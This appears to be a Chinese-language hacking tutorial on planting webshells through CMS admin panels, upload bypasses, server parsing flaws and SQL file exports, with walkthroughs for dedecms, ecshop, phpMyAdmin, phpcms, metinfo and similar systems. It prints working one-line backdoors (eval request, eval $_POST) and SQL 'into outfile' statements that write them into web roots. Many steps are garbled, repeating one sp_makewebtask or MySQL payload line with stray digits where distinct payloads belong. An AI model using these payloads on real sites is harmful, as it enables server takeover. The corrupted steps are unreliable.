一.getShell是什么
利用漏洞獲取一定的服務器權限就是getshell,如果是web漏洞就叫webshell,還有別的shell,ftp、sql、3899、4899等等,一般來說這個shell權限很低,需要提權后才能獲取服務器的管理員權限。
二.getShell獲取思路
CMS獲取Webshell方法
主要通過百度搜索CMS網站程序名稱。
如:phpcms拿Webshell、WordPress后臺拿Webshell等
非CMS獲取Webshell方法
1、數據庫備份獲取Webshell
原理:后臺文件重命名(e.g xxx.jpg-> xxx.asp)




2、抓包上傳獲取Webshell
文件上傳
3、Sql命令獲取Webshell
4、模板修改獲取Webshell
"%> <%eval request("chopper")%><%'

改完后配置文件數據也被修改

網站標題在首頁

5、插入一句話獲取Webshell
一般用圖片一句話
數據庫into_file寫入一句話或木馬
二.getShell思路總結

一、方法分類
1.帶有漏洞的應用
redis 、tomcat、解析漏洞、編輯器、FTP
2.常規漏洞
sql注入、上傳、文件包含、命令執行、Struts2、代碼反序列化
3.后臺拿shell
上傳、數據庫備份、配置插馬
關于各種帶有漏洞的應用以及OWASP Top10常規漏洞需要不斷的積累,打造自己的核心知識庫,道路且長。本文僅記錄最近對常見cms后臺getshell的學習總結
二、網站常見getshell方法
1.數據庫備份拿shell
如果網站后臺具有數據庫備份功能,可以將webshell格式先修改為允許上傳的文件格式如jpg,gif等。然后找到上傳后的文件路徑,通過數據庫備份,將文件備份為腳本格式。
2.上傳
上傳是拿shell最常見的方式,不區分web前后臺,有上傳的地方均需嘗試上傳。常見的上傳繞過方法:
本地js驗證上傳
服務器mime繞過
服務器文件頭繞過
服務器 filepath上傳
雙文件上傳
%00截斷上傳
上傳其他腳本類型
3.修改允許上傳類型
進入網站后臺后找到上傳點發現對上傳有白名單限制,正好又可以添加白名單,可以將腳本格式寫入白名單然后進行上傳。如果容器允許的情況下,嘗試上傳與網站源碼不同類型的腳本格式拿shell
4.服務器解析漏洞
IIS 5.x/6.0解析漏洞
目錄解析:x.asp/1.jpg
分號解析:x.asp;.jpg會被解析asp格式
其他文件名:cer,asa,cdx…
IIS 7.0/IIS 7.5/
畸形文件名解析:test.jpg/*.php
Nginx
畸形解析漏洞 :test.jpg/*.php(Nginx版本無關,只與配置環境有關)
<8.03空字節代碼執行漏洞 :test.jpg%2500.php
Apache解析漏洞
Apache解析文件時是按照從右向左的方式,test.php.aaa.sss,Apache無法解析.aaa.sss,向左解析到.php,于是test.php.aaa.sss就被解析為php文件
5.編輯器
低版本的ewebeditor、fckeditor編輯器均有漏洞可以利用。或繞過上傳或結合解析漏洞
6. 網站配置插馬
在網站后臺的一些配置接口中最終的配置結果會寫進網站配置文件,這里通過源碼的過濾規則進行閉合語句可以直接將shell寫進配置文件從而getshell。注意:網站后臺配置插馬屬于高危操作,如果閉合失敗網站將全面崩潰,不建議生產環境下操作。
例:良精后臺配置插馬
#配置文件路徑:../inc/config.asp#插馬語句:"%><%eval request("123")%><%'

http://192.168.1.10:8009//inc/config.asp
7.上傳插件
將shell添加到安裝的插件中上傳服務器拿shell。典型如wordpress
8.數據庫執行
通過數據庫執行命令導出一句話到網站目錄拿shell。此方法需要有數據庫寫入權限,且知道網站目錄
sqlserver 導出
SQL server 2005之后就不能導了,因為sp_makewebtask存儲過程被取消了
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut
mysql導出
版本一
Create TABLE study (cmd text NOT NULL);Insert INTO study (cmd) VALUES('<?php eval ($_POST[cmd]) ?>');select cmd from study into outfile 'D:/php/www/htdocs/test/seven.php';Drop TABLE IF EXISTS study;
版本二
use mysql;create table x(packet text) type=MYISaM;insert into x (packet) values('<pre><body ><?php @system($_GET["cmd"]); ?></body></pre>')select x into outfile 'd:\php\xx.php'
版本三
select '<?php eval($_POST[cmd]);?>' into outfile 'C:/Inetpub/wwwroot/mysql-php/1.php'
9.文件包含
可繞過waf拿webshell。借助文件包含躲避waf攔截。一般用來上大馬用
asp 包含代碼
<!--#include file="123.jpg"-->#調用的文件必須和被調用文件在同一目錄,如果不在同一目錄,用下面的語句:<!--#include virtual="文件所在目錄/123.jpg"-->
php包含
<?phpinclude('123.jpg');?>
10. 命令執行
echo ^<^?php @eval($_POST['cmd']);?^>^ > c:\1.php^<^%eval request("cracer")%^>^ > c:\1.php# 需要知道網站路徑
三、常見cms后臺拿shell
1.dedecms
dedecms版本:http://192.168.1.10:8030/data/admin/ver.txt
默認后臺:http://192.168.1.10:8030/dede/
# dedecms后臺一般都被修改不好找,可借助google語法:Powered byDedeCMSV57_GBK_SP2 site:xx.com
一、后臺文件上傳
進入后臺:核心》附件管理》文件式管理器》可直接修改源碼或者上傳shell
寫馬
連接
如果目標“文件式管理器”接口被閹割,也許只是單純的在前端刪除了入口。可以修改js調用:
media_main.php?dopost=filemanager#找到任意按鈕修改js代碼如圖,即可再次調用文件管理

如果權限被限制無法上傳到upload以外的目錄。通過修改名稱跨越目錄,繞過權限封鎖

二、數據庫執行拿shell
sql命令行工具》寫shell
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut0
寫shell
連接
2.南方數據、良精、動易
一、數據庫備份(備份圖片馬、備份數據庫)
系統管理》數據庫備份頁面經常被刪除,需要修改js重新調用數據庫備份頁面
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut1


1.上傳圖片馬
產品管理》添加產品》上傳圖片馬

2.審查元素,找到圖片馬路徑
如:http://192.168.1.10:8009/UploadFiles/1.jpg
3.開始備份

注意點:
1.如果附加了asa無法訪問,嘗試刪除asa訪問。解析即可。
2.如果出現文件頭為database、jet db。表示實際備份的還是數據庫,我們提交的圖片馬并沒有備份到。這里嘗試添加管理員將shell寫進數據庫。然后再備份即可。這如果長度有限制,可以在審查元素修改maxlength或者抓包
3.如果數據庫路徑…/Databases/0791idc.mdb框無法修改。嘗試審查元素或者burp改包
4.備份目錄不用管
二、配置插馬
三、修改上傳類型突破上傳

四、雙文件突破上傳
五、修改editor/admin_style.asp
3.ecshop
1.sql語句寫shell
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut2

2.修改文件
庫項目管理》配送方式
連接:http://192.168.1.10:8103/myship.php
3.前臺getshell
http://192.168.1.10:8103/user.php》刷新抓包》發送repeater:
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut3

會在網站根目錄下生成1.php一句話木馬,密碼1337
3.5wordpress上傳插件
安裝插件》上傳插件》插件馬(正常插件+大馬壓縮包)》上傳成功
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut4
4.phpmyadmin寫shell
phpmyadmin 常見路徑:phpmyadmin、pma、pmd、pm、phpmyadmin+版本號。或者端口號搭建888/999/8888/777。可嘗試爆破登錄:
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut5
尋找網站根目錄
1.找mysql安裝目錄
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut6
2.根據mysql安裝路徑推理出apache配置文件(記錄了網站根目錄)
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut7
3.使用某個數據庫,創建一個表用來讀取apache的配置文件
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut8
如果有waf會攔截不讓導shell
1.找免殺馬
2.開啟外聯
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut9
3.通過遠程地址鏈接mysql服務器導入一句話
如果導出函數into outfile 被禁用
1.生成日志getshell
genaeral log設置為on,備份genaeral log file路徑后修改為我們要導的shell路徑。然后執行帶有一句話的sql語句寫入日志文件,成功getshell。完成后記得還原genaeral log file路徑

備份路徑:genaeral log file:D:\SOFT\webbuild\php\MySQL\data\DESKTOP-CCDQEGR.log
執行:select “<?php phpinfo();?>”

寫入成功:http://localhost/xxx.php

Create TABLE study (cmd text NOT NULL);Insert INTO study (cmd) VALUES('<?php eval ($_POST[cmd]) ?>');select cmd from study into outfile 'D:/php/www/htdocs/test/seven.php';Drop TABLE IF EXISTS study;0
5.kesion cms
科迅cms需要使用ie低版本瀏覽器
一、添加上傳類型


這里會回顯文件名不合法。但是實際上已經上傳成功(新版本失敗)
6.aspcms
1.插件管理,界面風格修改asp文件
2.擴展功能,數據庫備份
3.配置插馬
幻燈片設置
Create TABLE study (cmd text NOT NULL);Insert INTO study (cmd) VALUES('<?php eval ($_POST[cmd]) ?>');select cmd from study into outfile 'D:/php/www/htdocs/test/seven.php';Drop TABLE IF EXISTS study;1

7.SD cms
1.上傳設置,添加腳本類型(大小寫替換)
2.界面,模板管理,點擊sdcms_index.asp,插入一句話到首頁
8.phpcms
1.界面,模板風格,詳情列表,修改腳本格式文件
2.phpsso(沒有這個界面的話調用js),系統設置,ucenter設置,插馬
Create TABLE study (cmd text NOT NULL);Insert INTO study (cmd) VALUES('<?php eval ($_POST[cmd]) ?>');select cmd from study into outfile 'D:/php/www/htdocs/test/seven.php';Drop TABLE IF EXISTS study;2

連接:
3.內容,專題,添加專題
Create TABLE study (cmd text NOT NULL);Insert INTO study (cmd) VALUES('<?php eval ($_POST[cmd]) ?>');select cmd from study into outfile 'D:/php/www/htdocs/test/seven.php';Drop TABLE IF EXISTS study;3添加專題1

添加專題2
擴展設置,專題模板。value值設置為:
Create TABLE study (cmd text NOT NULL);Insert INTO study (cmd) VALUES('<?php eval ($_POST[cmd]) ?>');select cmd from study into outfile 'D:/php/www/htdocs/test/seven.php';Drop TABLE IF EXISTS study;4提交,提交完成后會在根目錄生成0.php后門文件


9.metinfo
1.安裝插件getshell
2.安全》備份與恢復》數據庫備份》下載》打開sql文件》合適的地方輸入語句:
Create TABLE study (cmd text NOT NULL);Insert INTO study (cmd) VALUES('<?php eval ($_POST[cmd]) ?>');select cmd from study into outfile 'D:/php/www/htdocs/test/seven.php';Drop TABLE IF EXISTS study;5
》重新壓縮》刪除之前備份文件》上傳修改之后的數據庫備份文件》導入:執行sql語句》生成shell
3.<6.0,直接訪問:
Create TABLE study (cmd text NOT NULL);Insert INTO study (cmd) VALUES('<?php eval ($_POST[cmd]) ?>');select cmd from study into outfile 'D:/php/www/htdocs/test/seven.php';Drop TABLE IF EXISTS study;6
在upload目錄下生成index.php的一句話:
連接:192.168.1.10/upload/index.php

10.discuz
管理后臺:admin.php
創始人管理后臺:uc_server/admin.php
管理后臺:
1.站長,uccenter設置,插馬,待復現。參考:
https://paper.seebug.org/1144/#2-ucketdz
11.帝國cms
1.系統》數據表與系統模型》管理數據表》管理系統模型》導入系統模型》上傳1.php.mod》會在當前目錄下生成一句話co.php:
連接:http://192.168.1.10:8111/e/admin/co.php
2.帝國備份王getshell
12.phpmywind
1.網站信息設置》附件設置,添加允許上傳類型getshell
2.網站信息設置》增加新變量

》提交》基本設置:1;@eval($_POST[a])
》提交>連接:http://192.168.1.10:8112/admin/default.php
新版本過濾分號無法連接:慎重插馬

13.phpweb
1.前臺直接上傳
https://blog.csdn.net/weixin_44508748/article/details/105671332
2.后臺編輯器
產品》修改》

連接:http://192.168.1.12/phpweb/3151/product/pics/20200628/202006281593274850595.php

